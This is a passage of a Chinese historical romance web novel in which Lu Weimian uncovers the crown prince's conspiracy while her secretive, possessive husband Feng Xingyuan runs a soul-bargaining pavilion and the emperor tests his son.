鹿微眠觉得他的声音太近了, 明明不见人,却被回音仿佛是在她耳边说话一样, “代价是什么?” “我要你的灵魂永远属于我。” 鹿微眠能听到自己心跳越来越快, “我的灵魂与你而言,有什么用处吗?” 很有趣的问题。 没有人这样问过他。 “怎么掌控你的灵魂, 和你的身体,这是我的事。”他下了论断,“你在打听我。” 鹿微眠心里咯噔一下,没想到仅一个问题,就让他听出来了自己的想法。 但他并没有生气,“想打听我容易,跟我做交易,你会知道一切。” 他话语间带了引-诱意味,“想试试吗?会很好玩的。” 鹿微眠敛眸,声音很轻,“不试了。” “我就是来看看,我目前没有什么想要出卖灵魂的事情。” 那人沉吟道,“那你有没有什么想要达成的执念。” “有。” 他的语调似是来了兴致,“说来听听。” 封行渊勾唇,几乎做好了心理准备,听她说“想要后位”类似的愿望。 “如果想要家人朋友,还有我的夫婿余生平安也算的话,”鹿微眠思忖着,“那应该是我当下的执念。” 鹿微眠说完,拉开门,“但是目前,这些还不需要我与你做这种交易。” 封行渊看着她的背影。 手中把玩指环的动作变得缓慢,眼底光线随着她开门的动作,也被搅得忽明忽暗。 听多了权钱色欲的贪婪。 第一次听到这么纯粹的执念。 不仅纯粹,而且坦荡。 这是被她光明磊落写在祈天灯上的愿望。 直白坦荡到,与揽星阁内那些自私阴暗不能见光的欲望格格不入。 封行渊觉得新奇。 所以她进来的原因是什么。 所以真的会有人,为了他人牺牲自己的灵魂吗。 很快,他就否认了这个猜测。 人他见多了,为了自己牺牲别人的一抓一大把。 反过来的,闻所未闻。 鹿微眠离开揽星阁,思前想后,也没有判断出来这人和前世那个疯子有什么关系。 可这人在朝中安插了这么多眼线,到底是为了什么。 贾琏为什么要去找他。 鹿微眠走到渡口,钧宜将她唤回神来,示意她上船。 鹿微眠看着已经运上船的箱子。 好在今日也有些进展。 只希望青荷能醒过来。 鹿微眠将人带出去,不便送回封府照看,便送到了司空府。 夜色已深,鹿瑜叶绾听闻她回来,还是忙不迭地爬起来相迎。 “怎么这个时辰回……”鹿瑜话说到一半,看见钧宜与人搬着箱子进来,打开竟是他前几日刚刚查到的周喆小妾。 叶绾一时疑惑,“这……” “快叫家医,”鹿微眠吩咐差遣着,“有人给她下了毒,幸好及时赶到。” 鹿瑜回过神来,忙张罗着叫家医。 叶绾不安地拉过鹿微眠,“你这是从哪将人救下的?可没事吧?” 鹿微眠踟蹰着回避了第一个问题,“那人多半是以为下了毒她必无生路,带出来没有什么阻碍。” “还是要小心,”叶绾眉头紧锁,“时候不早了,你今晚也别回去了,在家住着。” 鹿微眠答应着,先回了自己的院子。 为着方便,青荷就安顿在她的院子里。 鹿微眠晨起便听钧宜前来禀报,“夫人,她醒了。” 鹿微眠立马精神起来,连忙赶去厢房。 青荷对眼前的一切都很是防备,缩在床脚不肯出来。 瞧见鹿微眠更是缩了缩身子,不肯见人。 鹿微眠看她应当是被吓到了,走上前坐在床榻边。 看见青荷的手臂处有好几道鞭痕,想来应当是在满春园被打的。 这种情况下,即便是问也问不出什么来。 鹿微眠吩咐,“先不着急问话,把她身上的伤养好再说。” 她看着院子里也没有人会手语,只能勉强写了个字条。 鹿微眠写了一大段,原想交代了前因后果,写完后顿觉得有些啰嗦。 鹿微眠咬了咬笔尾,索性团成一团扔掉,又换了一张纸。 青荷缩在角落里观察了这个陌生的女孩很久。 看着她一脸担忧地进来。 吩咐了一圈之后,跑到桌案边写字。 动作间,发髻上的蝴蝶步摇振翅轻晃。 闪着屋外的日光。 这个蝴蝶姑娘费劲巴力地写了扔,扔了写。 最后递给她的纸张上只有两个字。 别怕。 鹿微眠回到封府已是午后。 孙嬷嬷进门,提了个盒子进来,“昨晚禁军都督卫府差人送来的乌鸡,听说你受伤了,给你补身子用的。你伤着哪了?” 鹿微眠哽住,舔了下干涩的唇角,“我没受伤。” 听这个说辞,就知道她受伤这种话,是出自谁口。 这段时日,封行渊正好又跟卫沉接触颇多…… 孙嬷嬷不放心,又细问了几句,鹿微眠实在是没抗住,便与孙嬷嬷说了实话。 孙嬷嬷听罢,哈哈大笑,“姑爷无人教,想必是不懂。” 按理说,男子十几岁启蒙会安排通房醒事。 即便没有,婚前也会有些话本子教习。 但他们成婚匆忙,姑爷生性冷僻,身边亲朋又这般疏远,想必是没这个机会接触。 鹿微眠被嬷嬷笑得脸更红了些,“他虽是不懂,但我让他做什么他都做,还挺乖的。” “叫他用手帮我敷肚子,他也乖乖做了。” 孙嬷嬷并不遮掩,“所以你们还没圆房呢?” 鹿微眠耳根越来越胀,动动唇找借口反驳,“这不是月事在身嘛。” “少忽悠我。”孙嬷嬷打趣她,“你们成婚月余,日日都月事在身?” “我们还不熟悉,总不能急。” “眼下成婚多是些不熟悉的夫妻,行房次数多了就熟悉了。” 鹿微眠到底还是脸皮薄,“好啦嬷嬷,快去炖汤吧,我饿了。” 她说着,忙把孙嬷嬷推了出去。 孙嬷嬷看了看外面天色,“才未时你就饿了?乖乖你听我老婆子说,夫妻之事不能害羞,男人就是拿来用的,你用了就知道,好用的不只是手。” 鹿微眠关上门,背靠在门板上。 孙嬷嬷笑她脸皮薄,也不闹她。 正事重要。 于是,孙嬷嬷炖上汤,就挎着篮子上街帮这对小夫妻挑话本。 鹿微眠捧了捧自己的脸颊,尽快转移了注意力。 封行渊这阵子不在,她也不知道朝中审刺客一案审得如何了。 但是她好像可以借此机会去探望下卫夫人,顺便了解下如今的境况。 正好她风寒也好了些时日了。 鹿微眠挑了些滋补品,次日前去卫府。 卫夫人没想到她会来,忙准备着茶点招待她。 “我不过是来坐坐,若劳累了姐姐,反倒是我的不是了。” “瞧你客气的。”明窈扶着肚子坐下,相比于鹿微眠,她更想要询问些事情,“听闻这次审讯,封大人是监察?” 鹿微眠点头,“嗯,不过他这阵子一直在殿前司没回来,我知之甚少。” “前两日,卫沉倒是回来了一趟,不过是封大人派人护送。” “他与我说,已经抓到贾琏了,还有些事情要核实,叫我放心。” 明窈根本不能放心,“我是有些奇怪的,既然已经抓到了贾琏,可以作证,那为何还要核实?” 鹿微眠没有听过贾琏的事情,她能想到的就是那天晚上在揽星阁意外撞见贾琏。 “贾琏可以作证什么?” 明窈犹豫了下,觉得他们既然行事坦荡,也没有瞒着鹿微眠的必要,便将卫沉救驾当日刺中贾琏之事告知,“贾琏就是太子殿下意图谋逆的证据,否则他为何要跟救驾的禁军打起来。” “如今既然抓到了他,该结案了才对。” 鹿微眠沉默半晌。 这前因后果听起来,像是抓到了贾琏* ,但贾琏提供的证据反而是不利于卫沉的。 所以,贾琏被捕,很有可能是慕青辞拿来脱身的一局棋。 卫沉没敢告诉明窈。 是因为他现在处于一个很不利的位置。 鹿微眠想明白之后,帮着卫沉转圜道,“不用担心,抓到贾琏,他的口供也未必指认太子,或许是指认了山间劫匪,民间杀手,还需要再查也有可能。” “太子殿下还在被幽禁,而他还能回来看你,说明确无大碍。” 明窈听来也是。 鹿微眠踟蹰着开口,“不过,我听闻,贾琏似乎和帝台城揽星阁的阁主,有些交易。” “不知道这件事,有没有可能,跟这次审讯有关。” 鹿微眠当下无法判断贾琏那天出现在揽星阁的原因,但她总觉得这个交易和这件事脱不开关系。 眼下卫沉是被封行渊管控的关系,对他们没有坏处。 她没有办法得知事情原委,既然看到了,总是要让卫沉和封行渊知道,好做防范。 “揽星阁?”明窈念着这个名字,“我怎么没有听说过。” 正常人是不会听说过的。 鹿微眠也没解释。 隔日休沐,卫沉被凌一看护送回卫府。 明窈将鹿微眠所说的话转达给他,顺便问着,“封夫人所说的揽星阁是何处?” 卫沉也不知道。 次日点卯,询问封行渊,“封大人可知什么是揽星阁?” 封行渊撩起眼皮,好整以暇地看他,“那可是个好地方,你想要什么都会满足你。” 他悠然道,“想去?” “没有,”卫沉敛眸,将从明窈那里听来的话又告诉封行渊,“我只是担心,贾琏去了会对我们不利。” 封行渊把玩着手上的指环,“只会对我们有利。” 卫沉看了他半晌,许多疑问还是没有问出口,毕竟眼下掌控这件事的人是封轸。 他听着他的答案,低着头莫名出神了很久。 然后问了一个不着边际的问题,“揽星阁,真的会满足我想要的吗?” 封行渊指间动作停下来,抬眼看了过去。 * 入夜三分,封行渊休沐归家。 鹿微眠没什么太大的反应,但孙嬷嬷喜出望外,忙做了一桌子菜,然后把他们关在了屋子里。 鹿微眠看着孙嬷嬷的样子便知她是什么意思。 她还是装作不知道,一面吃饭,一面告诉他,“我那天去看了卫府夫人,你听说了吗,贾琏与揽星阁有些交易。” 封行渊眉梢微扬,清俊脸庞纯良无辜,“揽星阁是何处?” 鹿微眠哑然。 想来确实,他单纯的连月事都不了解,如何知晓揽星阁那等地方。 就在她纠结该怎么跟封行渊解释时。 少年又问,“夫人从哪里见到的?” 鹿微眠再度哑然。 然后开口,“我有一个朋友,闲聊时与我说的。” “哦,朋友。”封行渊逗她上瘾,“这个朋友如何与你说揽星阁的?” “他也不了解,只听说揽星阁是个……”鹿微眠绞尽脑汁,憋出一句,“很坏的地方。” 封行渊听笑了,颇为满意这个答案。 “贾琏与那里不知做了什么交易,总之你要小心。” “好。”封行渊尾音拖长,“我会小心。” 鹿微眠又问,“卫沉眼下如何了?” 封行渊简单回着,“死不了。” “他原本可以不出头的,倒也是个真性情的人。” 封行渊舀着碗里的醪糟汤圆,递到鹿微眠面前,“吃饭。” “他什么时候可以无事啊?” 封行渊勺子抵在鹿微眠唇边,眼底笑意变幻莫测,“你很关心他?” 鹿微眠顺着勺子咬下那一口汤圆,“我只是问问,他能早些回家,他夫人也能踏实一些。” 封行渊慢条斯理地转动勺子,话语间夹杂着并不明显的危险气息,“夫人关心的人太多了。” 从前是弟弟、后来是谷歆月,现在又来了个卫氏夫妇。 封行渊突然萌生出很恶劣的念头,被遮住的红痣闪过暗光。 这世上的人能不能都死光啊。 只有他一个。 让她只能关心他。 鹿微眠没把他的话当回事,只弯起眼睛朝他笑着,“最关心你啦。” 封行渊眸光微凝,盯着她深吸一口气。 忽而轻笑出声。 她还真是…… 欠咬。 尤其是那张爱哄骗他的嘴。 想咬坏。 第30章 轻薄 少年盯着她湿润的唇瓣喉结轻滚, 意图高于理智,还是诚实告知,“我想咬你了。” 鹿微眠闻言停顿两秒。 就在这两秒的空隙间, 她猝不及防地被握住了纤细的脖颈。 少年修长手指很有技巧地捏住经脉,像是提住了小猫后颈,轻而易举地将人往身前一带。 鹿微眠重心不稳, 想到了上次那让她浑身黏腻的经历, “等下……” 话音刚落。 他尖利的牙齿咬在了少女晶莹温润的唇瓣上。 鹿微眠原以为他还会像从前那样咬脖子, 以至于唇齿触碰时,她呆愣在原地。 少年垂眸看着她的反应, 咬了咬那红润的柔软。 很微妙的触感, 和脖子不一样。 这里好像更加脆弱。 脆弱到稍一用力就会出血。 咬起来像是糯米圆子,沾染几分甜气。 感觉真的能咬坏。 他恶劣地用了几分力气。 一股诡异的酥麻和暖流瞬间从小腹升起, 鹿微眠身形轻颤,下意识推拒,却被更加用力的握住脖颈。 他想, 果然咬这里她会更怕。 他松了松力气,舔舐着她被咬充血的唇。 熟悉的安抚动作。 但这一回鹿微眠被安抚得整个人都瑟缩起来,趁他松手之际推开他,一下子站了起来。 座椅被她起身的动作带得拉出尖锐声响。 而一旁的始作俑者平静坦然, 很新鲜地观察着她的反应。 两人就这么无声僵持了片刻。 鹿微眠只觉得空气稀薄,有些喘不上气, “那个,我吃饱了。” 她说完, 直接出了屋子。 封行渊坐在原地, 心情愈发愉悦,仿佛尝到了什么新鲜的事物。 原来咬那里会让惩罚更加有效, 人都吓跑了。 鹿微眠出来走进花厅,正巧碰上暮云在院子里打理花草。 “夫人这个时辰怎么出来了?” “赏月。”鹿微眠装模作样地抬头一看。 今天阴天。 “……” 鹿微眠坐下,“我想起来,前些时日的帕子还没绣好,我来补工。” 暮云很有意思地上前,“夫人不是不爱做绣活吗?绣绷都拿反了。” 鹿微眠硬着头皮翻过来,“我这不得先看看,再绣。” “今日姑爷回来,怎么还跑出来了?” “我先吃完了,他还得再吃一会儿。” 暮云见她嘴硬,也不多问。 夫人脸红得像是一颗小苹果,不像是吵架那就无妨。 暮云一走,鹿微眠就捧住了自己发烫的脸。 救命啊,他在干嘛啊。 他咬人咬得越来越奇怪了。 暮云折返回来,鹿微眠立马又恢复如常,端正地看着面前的帕子。 封行渊咬过人之后,就饱了大半。 没吃多久就命人撤了餐食,留了两盘糕点。 他独自坐在屋内等吓跑的人儿回来。 闲来无事,看到了桌案上小书架里放着的话本。 是新放进来的,好像还没有被翻阅过。 封行渊随手拿了起来,上面写着《洞玄秘经》。 看起来像是什么修身养性的术法。 他一向是对各种术法感兴趣。 少年坐在一旁,顺手翻阅起来。 起页讲述了一番阴阳调和、天地气运。 这些内容跟他前几日看的医书如出一辙。 只不过医书只是枯燥的文字,难以理解,不如这书画显得生动。 他往后翻着,起先的内容还算是正常,到后面不知那一页开始出现了他梦到的场景—— 欺负人的场景。 如他梦中那般,用手指欺凌狭窄之处。 再往后,就是用大于手指数倍的地方,屠戮折磨。 撑到她时时低泣,惊呼哭叫。 封行渊修长手指拨动,草草翻过后面的内容图画。 一张比一张香艳过分。 但无一例外,本质都在侵占、掠夺、攻击。 少年思量片刻。 不太能理解为什么这种行为叫阴阳调和。 因为它看起来更像是一种刑罚之术。 而他刚好对折磨人很感兴趣。 倘若想要惩罚的人,不想让她死,又想折磨她。 这样的惩罚,不致命,不见血,还能让人哭天呛地,告饶不已。 的确有趣。 难怪梦里他这般喜欢罚她。 每每罚后,都身心愉悦不已。 只不过,这大概对关系亲密的受罚囚徒才能用。 否则封行渊想,他还是很不喜欢自己身上沾满别人的东西。 少年手指松开。 书页哗啦啦翻过,“啪”地一声合拢。 正巧这时,鹿微眠实在是绣不下去花,回到房内。 看他手边一本书,不由得问,“你看什么呢?” 封行渊盯着她沉吟片刻,“秘术。” 鹿微眠听得一知半解,“什么秘术?” 封行渊不紧不慢地将书本收起,“刑罚秘术。” 鹿微眠走上前,“你怎么突然想起来看这个了?” “在你书架上看见的,兴许是换书不小心拿错了。”少年语调稀疏平常,“想知道内容吗?” 鹿微眠踟蹰着,她不喜欢血腥的东西,“不太想。” 封行渊看着她,悠闲道,“等夫人哪天惹我生气,就会知道里面是什么了。” 鹿微眠猜想他肯定也不敢真罚她,径直去沐浴梳洗,但还是有些心不在焉。 趁着他不注意,时不时碰一碰自己的嘴巴。 临睡前,鹿微眠趁着他也去沐浴梳洗,装着躺好睡觉。 直到沐浴间门被打开,水汽混合着他身上清淡的茶香遍布在屋内的各个角落。 她听到脚步声不由得闭紧眼睛。 紧接着就感觉到床幔被掀开,一只大手伸过来,捏住了她的下巴,把人转了过来。 鹿微眠一时间忘记装睡,与刚沐浴过后的少年对视。 封行渊视线扫过她闷红的脸,指尖压了下她的唇,检查一番,“这次没留印,不用涂药了。” 鹿微眠能听见自己噗通噗通的心跳,“我好困了。” 她掀过被子把自己蒙起来。 封行渊也就此作罢。 鹿微眠半张脸露在外面,大概是嬷嬷那句“男人都是拿来用的”影响到了她。 感觉到他躺下来,鹿微眠犹豫很久还是小声道,“你的手能再借我一晚吗?” 封行渊看了她一会儿,把手递给她。 鹿微眠接过来,按在她小肚子上。 身后的人似是思索片刻,才出声道,“不流血了,也喜欢用我的手吗?” 他今日没有闻到血腥味。 鹿微眠突然被拆穿,窘迫地咬了咬唇,理直气壮道,“你今晚都轻薄过我了,我就用一下你的手暖身,理所应当。” 封行渊没有拒绝。 毕竟他咬过人后,心情大好。 原来他那样的行为,在她口中是轻薄。 他从前只听过有人这般形容山野地痞的无礼行径。 第一次有人这样说他。 虽然不是好词,但好在他也不是什么好人。 这么说来,他还挺喜欢轻薄她的。 房内早早熄了灯,孙嬷嬷从屋外瞧见顿时喜上眉梢。 今夜休息这么早,姑娘姑爷定是看到话本,要勤奋做功课了。 她就说,这个家没她迟早得散。 * 不日,帝台城大开城门之日。 贾琏被人悄无声息地送到渡口离开。 又一个熟悉的身影从渡口进入。 揽星阁大门打开,有沉重的脚步声传来。 高塔之上,坐于高位撑着额角的封行渊,缓慢地睁开眼睛。 没有点灯的顶层,只有外面昏暗泛红的光线。 层层纱帐帘幕遮挡之下,封行渊看到了熟人。 卫沉在纱帐外站定,在黑暗中没认出来封轸,“听闻你这里可以做交易。” “稀客啊。”封行渊动都没动一下,仍旧维持着小憩的坐姿,隔了一段距离打量着他,“我以为你是来我这里打探的。” “不重要。” 事到如今,贾琏来这里做了什么交易与他而言并不重要。 他满脑子都是慕青辞给他的警告。 贾琏的交易完全没有慕青辞提起明窈六月身孕对他而言的威胁大。 “那你知道我这里的规矩吗?” “知道。”卫沉能来,一定是多方打听过揽星阁,“我可以听命于你,从此为你所用。” 封行渊听到这里,才坐直了身子,“卫大人不是朝廷忠臣吗?” “如此这般,不怕有违良心。” “为家国效忠者,盼家宅安宁。” “若家宅不宁,储君无德,我便没有良心。” 卫沉面前黑纱层叠起跃,拨动着他的衣摆,一片血色的帝台城夜空下,他仿佛面对着无底深渊。 但他纹丝不动,“听闻你这里可以满足人的执念。” “若你能保我妻儿平安,我的灵魂就属于你。” 封行渊隔了几层纱帐与他对视。 依然能感觉到那道目光灼灼。 “旁人都要的权贵财势,你只要妻儿平安?” 卫沉重复,“我只要妻儿平安。” 他似乎听出来这人的犹豫,“你且说你做不做得到。” 封行渊沉默良久,“当然。” 这是最好满足的执念和欲望。 甚至都称不得欲。 他只是觉得怪异,这揽星阁是贪欲伪善阴暗之地。 可自从鹿微眠来过说了平安论调之后,怎么觉得,他这里忽然沾了点祈福之地的意思。 为何还真有人,甘愿牺牲自己去换他人平安。 他这么想,也就这么问了。 卫沉几息之间声音轻了很多。 在风吹纱帐间被封行渊听到,“我爱她。” * 深秋气寒。 树梢枝叶落了满地,被走过的马车卷起又压碎。 马车停下来,暮云扶鹿微眠下车。 府中家丁前来相迎,“那青荷姑娘肯说了。” 鹿微眠没有想到青荷能这么配合,“她当真知道谁催使的周喆?” “青荷姑娘不知道人名,但画了一副画像。” 鹿微眠回到她的院子里。 青荷正被人喂着汤药,见到生人还是有些害怕。 府中命下人都去学手语,眼下贴身照顾她的侍女俨然可以与她顺畅交流。 鹿微眠询问着青荷的情况。 才知青荷当初还是被周喆硬生生灌药才致使她聋哑。 生怕她听到什么,说出什么来,因此在府内很少留下字面上的证据。 当初周喆抄家,才没有搜出有力的证据来。 青荷做梦都希望周喆死,如今人也伏法,她没有什么好隐瞒的。 青荷给鹿微眠看了画像。 鹿微眠看着画像上的人,秀眉轻蹙。 虽然算不得栩栩如生,但还是让她没由来的萌生熟悉感。 画像上的男人身姿笔挺,束发齐整,约么二十来岁的样子。 但眉目阴柔无比。 乍一看像是谁家的贵公子。 但鹿微眠怎么也不记得京中有哪一家贵公子是这样的长相。 鹿微眠拿着画像,在屋内踱步。 可到底是哪里眼熟呢。 她走到日光下,看着那张脸,鬼使神差地捂住了那人的束发。 鹿微眠蓦的反应过来。 这是慕青辞的贴身太监,姜崇! 姜崇平日里见她都是太监衣装,很少以常服出面,因此鹿微眠乍看并没有认出来。 甚至在画像上,都看不出他做奴才的模样。 他反倒更像个主子。 鹿微眠硬是盯着画像反应了很久,“确定是他?” 青荷看着一旁侍女手语比划,而后点头。 并且提起,每次周喆见他都很客气。 他一来都会进书房。 周喆会将工部近来的消息告知。 一呆就是个把时辰。 鹿微眠缓了一会儿。 翻看着青荷交代的书信笔录。 上面详细说明了周喆是如何与此人私相授受,贩卖机密。 这是太子结党营私的有力证据。 兴许这个证据摆在皇帝面前,能让围猎刺杀的案子尽快了结。 鹿微眠差人把笔录备了几份收好,府中下人前来禀报。 “老爷夫人叫您过去。” 鹿微眠安顿好青荷,走去前院。 鹿瑜见她过来,忙问着她青荷是如何说的。 毕竟青荷即便是能相信他们家人,但似乎也只愿意把事情告诉鹿微眠。 他们去瞧了几次,她都躲在一旁。 到底还是她们一般大的女孩子好亲近。 鹿微眠将其中一份备着的证据文书递了过去,讲述了她的猜测可能。 无非是慕青辞在工部发展的眼线,这份证据大小是可以扣慕青辞一个结党营私的帽子。 鹿微眠仔细想来,慕青辞的确是借着工部的手,修了一个随时可以摧毁的大坝工程。 等帝王南巡摧毁沉城,弑父弑君,他坐收渔翁之利。 这个结果也在意料之中。 鹿瑜听闻查清了这工部叛徒的始末,松了一口气。 “过两日,修缮江南水坝的队伍就要启程了,在启程之前查清楚,也好放心。” “这太子殿下一向是温和守礼,怎会做如此事情,”叶绾还是难以置信,“亏我从前一直以为他是个好孩子,还好你没有嫁过去。” “不过还是要小心。”鹿微眠敛眸,“好在眼下慕青辞被幽禁,许多双眼睛盯着他,应当还好些。” 鹿瑜点头,“会小心的。” 鹿微眠多少放心了些。 只不过她在想,这么长时间,只是查明了慕青辞。 但是舅舅那边,还毫无线索,甚至还没有找到一个突破口,实在是有些难办。 但如果那么容易,前世他们全家也不至于被舅舅蒙骗在鼓里。 父亲母亲与他相交甚密,结果到死才知道这一切。 鹿微眠回到封府,等封行渊回来问他,“你那边查得如何了,我这有点慕青辞的罪证,你要不要看看能不能用上。” 封行渊并不拒绝,要过来细看一番。 颇为遗憾地收起来,“有劳夫人费心,但围猎刺客的案子已经结了。” “结了?”鹿微眠很意外,“那,结果如何?” “我将贾琏带去面圣交代自己做假证的事实,说到一半,陛下就不听了。” “他说他知道了,此案就当做流匪祸乱结案,不必再查下去。” 鹿微眠听来古怪,“就这样结了,陛下不在意慕青辞遣人刺杀吗?” 封行渊笑了,“在不在意是他的事,我只负责告诉他。” “不过夫人这证据,兴许很快就能用到了。” 那帝王二十几年前也是位手段凌厉之人。 令他疑心者,已是大厦将倾。 皇宫禁内,四面徒壁。 慕青辞坐在殿上,龙椅对面,与帝王一同执子下棋。 慕青辞拱手,“儿臣又输了,还是父皇棋艺精湛。” “朕老眼昏花,连棋子黑白都看不清了,如何棋艺精湛。”皇帝低笑着放下棋子,“朕也是你这个年纪过来的。” “朕知道,有时输棋,是为了赢。” 慕青辞起身跪在殿下,入目所及是帝王金线龙袍和长靴,“儿臣输便是输,不敢欺瞒父皇。” 皇帝居高临下地看着他,反倒闲聊起来,“朕当年的境况比你复杂多了。” “三位皇兄压顶,朕是最不被看好的一位。筹谋刺杀这种事,朕也做过。” 慕青辞眼皮一跳,错愕地抬头。 “让朕猜猜,这件事情的原委。”皇帝轻敲着桌案,“你身边并无兄弟威胁到太子之位,不是为了弑兄。朕没有动摇过你的太子地位,也与你鲜少发生仇怨。” “唯有一点,强逼你想迎娶的鹿家姑娘另嫁了旁人。” 慕青辞眼睫微颤,对视间率先移开视线。 那尊贵帝王点出,“但确实,你因此弑父也有些荒唐。所以朕猜,你最初的目标,是娶了你心上人的封轸。” 慕青辞能感觉到自己的心跳越来越快。 “可惜,即便你的初衷不是朕,但在朕意外落入你圈套之后,你确想杀朕。因为杀朕也能解决问题,何况被人压一头的感觉,的确很痛苦。” “儿臣不敢。” “你敢,”皇帝笑了,“因为你是朕的儿子,朕相信你敢。” 这话很是耐人寻味。 皇帝问着,“知道朕为何放你出来吗?” 慕青辞从未觉得自己能被一个人看得如此透彻。 这人,是他的父亲,是当今帝王。 “朕这辈子,最不怕的就是有人想杀朕,前提是他有没有这个本事。”皇帝也不等他回答,“朕再给你一次机会。” “朕想看你,究竟坐不坐得了这帝王之位。” 慕青辞从乾正殿内出来,游思并未回神。 他或许从未了解过他这个夺嫡胜出的父亲。 他也清楚的知道。 再给的一次机会,是弑父的机会。 赢了,他便是帝王。 输了,那就是他还不配称王,乖乖听从君主安排,包括废了他或者杀了他。 似乎在他父亲眼里,这也是一种物竞天择的方式。 很危险的方式。 慕青辞看着高悬月色。 至此他再无退路。 鹿微眠突然从睡梦中惊醒! 她浑身冷汗津津,心悸非常,失神地呢喃着,“图纸……图……” 鹿微眠转头看身边的男人,慌不择路地将他摇醒,“封行渊,醒醒,你快醒醒。” 封行渊已在她起身时就脱离了梦境,顺手将人拉下,“还不到巳时。” “不是。”鹿微眠情急不已,声音发颤,“我方才做梦,梦见工部护送的图纸还是错的,我害怕……” 少年睁开眼睛,异瞳映着如水夜色,“夫人许是白日里思虑过重,才夜有所梦,别怕。” 他再度将人拉下,然而自己起身,“我去看看。” “可他们已经启程三日了。” 封行渊挑眉,“才三日。” 封行渊启程一天一夜就返了回来。 鹿微眠第二日睡醒睁开眼睛,就看见封行渊坐在桌前,手里握着一个木匣子,撑着额角看她。 鹿微眠恍惚中还以为自己又做梦了。 嘟嘟囔囔地翻了个身,停滞片刻后,她一下子睁开眼睛,翻身坐起来。 果真看见封行渊坐在她对面。 “你回来了?!” 封行渊轻敲了下手里的匣子,优哉游哉地说着,“还有一刻钟到巳时,今日夫人醒的挺早。” 鹿微眠爬起来,“你真的拿回来了?” 鹿微眠喜出望外。 她原以为会有重重阻隔,“没有诏书,那些人没拦你?” “为什么要拦我。”封行渊想,偷个东西有这么复杂吗。 鹿微眠意识到了不对劲,“这该不会是你偷拿出来的吧。” 封行渊不置可否,“我也看不懂,若是没问题,我再放回去。” “有问题,再去请诏令拦截,也来得及。” 鹿微眠想来也是。 管他怎么拿回来的,能拿来回来就是好的。 “我今日回家,送去给父亲瞧瞧。”鹿微眠忙不迭地收拾东西去换衣服,嗓音里夹杂着欢快,“谢谢你啊,多亏了有你在。” 封行渊看她忙里忙外,眼前像是一只小蝴蝶飞来飞去。 他一面倒茶,一面随口戏谑道,“言辞道谢,毫无诚意。” 那只小蝴蝶闻言忽然停在了他面前。 封行渊与她对视间隙。 鹿微眠眼疾手快地俯身,亲了一下他的脸颊,“现在有诚意了吗。” 说完,她开心地抱着匣子出门。 封行渊端着茶盏的动作停滞在原地。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 30-40 第31章 私会 少年耳根浮现出一抹不太明显的红润。 转头看向门外。 门外早就没了那小姑娘的身影。 封行渊收回视线, 端举的茶盏又被放下。 但脸颊上仿佛仍然存留着那一处即分的触感。 封行渊对鹿微眠的行为下了论断。 她在轻薄他。 可怪异的。 他似乎有点喜欢被她轻薄的感觉。 封行渊觉得这不妙。 鹿微眠将图纸带回家中交给鹿瑜。 鹿瑜仔细看了一番,也的确发现了图纸上的大疏漏。 立马想了个由头差人上报拦截,顺便申请层层查验随队官员。 鹿微眠也是奇怪, 周喆伏法,太子幽禁,层层防备为什么还是会被调换。 是她遗漏了什么人, 还是哪里想错了。 鹿微眠疑惑着这件事, 百思不得其解。 回到封府, 便被告知,慕青辞早就被解除了幽禁。 “陛下当真就这般原谅他了?” 暮云也不解, “总之, 现在跟往常也没有什么区别。” 暮云将手里宫中下发的帖子递给鹿微眠,“过阵子陛下寿辰, 还要阖宫宴请。” 暮云压了压声音,有意提醒,“太子殿下主理。” 暮雨更听不懂了, “这是什么意思?难道是陛下他年纪大了,膝下子嗣稀薄,想要合家团聚,大事化小?” 鹿微眠接过帖子, “陛下年纪也不大啊。” 这帖子上还是三十九寿辰。 鹿微眠想不明白这其中缘由。 帝王寿宴,此番是大办。 看起来像是为了掩盖围猎那场动荡和混乱, 办得格外热闹喜庆。 众人起先还不能相信围猎一事是流匪祸乱,但看皇帝这么快就这般信任重用太子, 也都信了朝中的结案说辞。 那太子殿下的确无辜。 寿宴与重阳节相距不过一日。 皇帝趁着节日, 也给朝中众臣三日休沐。 京中也安排了节日庆典,热闹非凡。 很快长安城内百姓们也都忘了不久前听闻的围猎乱事, 再无人恐慌。 以为那不过是太平盛世的一个小插曲。 朝堂之上,皇帝吩咐安排过后,将卫沉与太子一同留下。 但凡了解围猎境况的朝臣见此还是多看了两眼,才纷纷散去。 皇帝吩咐封行渊守在殿外。 封行渊便得了个闲差,看着他们两人进去。 卫沉面色沉郁,而慕青辞一脸坦然。 一并跟着内侍太监去了后殿。 进殿前,慕青辞从封行渊身侧经过。 腰间绳带在走动间被带松,一个香囊荷包毫无预兆地坠了下去。 慕青辞毫无察觉,但封行渊看到了。 起先他并没有当回事,只是他看到那香囊上,绣着两只鸳鸯。 针脚粗糙,不像是宫中绣娘所制。 何况宫中绣娘,不会绣鸳鸯给当朝太子。 封行渊看着地上的香囊,瞳孔微缩。 几乎是在一瞬间便锁定了这香囊是出自谁人之手。 按理说,他人之物,不该擅动。 可封行渊知道自己没素质。 他缓步上前,将香囊从地上捡了起来。 拿起来,他就闻到了熟悉的茉莉花香。 是鹿微眠身上的味道。 封行渊眸色渐深,隔着锦缎能摸到里面放着的干茉莉花。 那只鹿微眠一直觉得很漂亮的手,隔着布料缓慢摩挲着脆弱的花瓣,然后一点一点捻开,揉碎。 花瓣被蹂躏得残破,那少年依然不见心情愉悦。 殿内,帝王安抚着他的臣子,“事情已经查清楚了,想必你们也知道。” “你们之间不过误会一场,都是救驾心切,忠心为朝。” 卫沉摇头,“陛下!” “那流匪已经抓剿归案,也都各自招认,并非是蓄谋的刺杀。”皇帝平静地打断了卫沉的话,“既身在同一朝堂,朝夕相处,就要少生嫌隙。” “误会解开,便可如从前一样了。”皇帝走上前拍了拍卫沉的肩膀,“爱卿这些时日操劳了,听闻令夫人怀有身孕,朕知道御医中有几位助产良医,你可为夫人挑一位带回府照看。” 卫沉见皇帝如此,乖乖噤声,“谢陛下。” 皇帝很是满意,转头看向慕青辞,“你是朕最看重的儿子,朕一向知道你宽厚恭俭,德行服众。” “虽然此番委屈你了,但与下属有意见不合,到底是为了朝堂兴盛,想必是能不计前嫌,和睦如初的。对吧。” 慕青辞迎上他的视线。 知道他这话半真半假,有说给卫沉听的意思。 也有提醒或警告他不要与朝臣闹得太难看的意思。 慕青辞敛眸,“儿臣明白。” “如此甚好。”皇帝交代完,各自又给了些赏赐,叫他们握手言和。 慕青辞先伸出手来,卫沉只看了一眼。 卫沉眼底混杂着红血丝,随后虚情假意的一握,转身离开。 皇帝不动声色地将一切看在眼里。 直到他们离开大殿。 内侍太监低声询问,“陛下这是何意?” 